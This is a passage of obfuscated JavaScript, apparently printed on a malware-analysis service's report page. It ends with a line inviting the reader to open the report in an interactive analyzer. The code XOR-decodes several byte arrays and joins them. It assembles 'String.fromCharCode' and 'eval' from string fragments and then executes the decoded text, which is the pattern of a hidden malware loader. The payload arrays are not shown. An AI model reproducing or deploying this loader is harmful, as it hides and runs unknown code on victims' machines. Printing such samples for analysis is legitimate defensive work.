(F8jyP8U02c=0;F8jyP8U02c<xE289eJZV32gKwn.length;F8jyP8U02c++){xE289eJZV32gKwn[F8jyP8U02c]=xE289eJZV32gKwn[F8jyP8U02c]^27;}; kNwVRV6=kNwVRV6.concat(xE289eJZV32gKwn);for (q1kGml=0;q1kGml<kUf3xaJ.length;q1kGml++){kUf3xaJ[q1kGml]=kUf3xaJ[q1kGml]^42;}; kNwVRV6=kNwVRV6.concat(kUf3xaJ);for (x9p6q1=0;x9p6q1<ra5ma7KS0X4s52.length;x9p6q1++){ra5ma7KS0X4s52[x9p6q1]=ra5ma7KS0X4s52[x9p6q1]^35;}; kNwVRV6=kNwVRV6.concat(ra5ma7KS0X4s52);for (Hb4G2j9057=0;Hb4G2j9057<G4L69pA8964.length;Hb4G2j9057++){G4L69pA8964[Hb4G2j9057]=G4L69pA8964[Hb4G2j9057]^86;}; kNwVRV6=kNwVRV6.concat(G4L69pA8964);for (HT881KA=0;HT881KA<dp0Z5IuIt.length;HT881KA++){dp0Z5IuIt[HT881KA]=dp0Z5IuIt[HT881KA]^28;}; kNwVRV6=kNwVRV6.concat(dp0Z5IuIt); RuJ8okY6Y=function(Cl1KDYOXHj){ RXqxT9c7=["e","m","v","n","a","d","x","l"]; GOkMl=RXqxT9c7[0]+RXqxT9c7[2]+RXqxT9c7[4]+RXqxT9c7[7]; rorar=this; yEpiwgJ =rorar[GOkMl]; yEpiwgJ(Cl1KDYOXHj); } h6cSYK=function(nyomt9){ aBS8=""; Yyw28r8=["dd","fjdk","fro","mChar","Co","dk","eee","de"]; k65FvWr8e=Yyw28r8[2]+Yyw28r8[3]+Yyw28r8[4]+Yyw28r8[7]; for (ly9o=0;ly9o<nyomt9.length;ly9o++){ gogor=this; roter=gogor["St"+"ri"+"ng"]; aBS8 += roter[k65FvWr8e](nyomt9[ly9o]); } return aBS8; } RuJ8okY6Y(h6cSYK(kNwVRV6));

Open this report in the interactive analyzer, or submit your own file for analysis.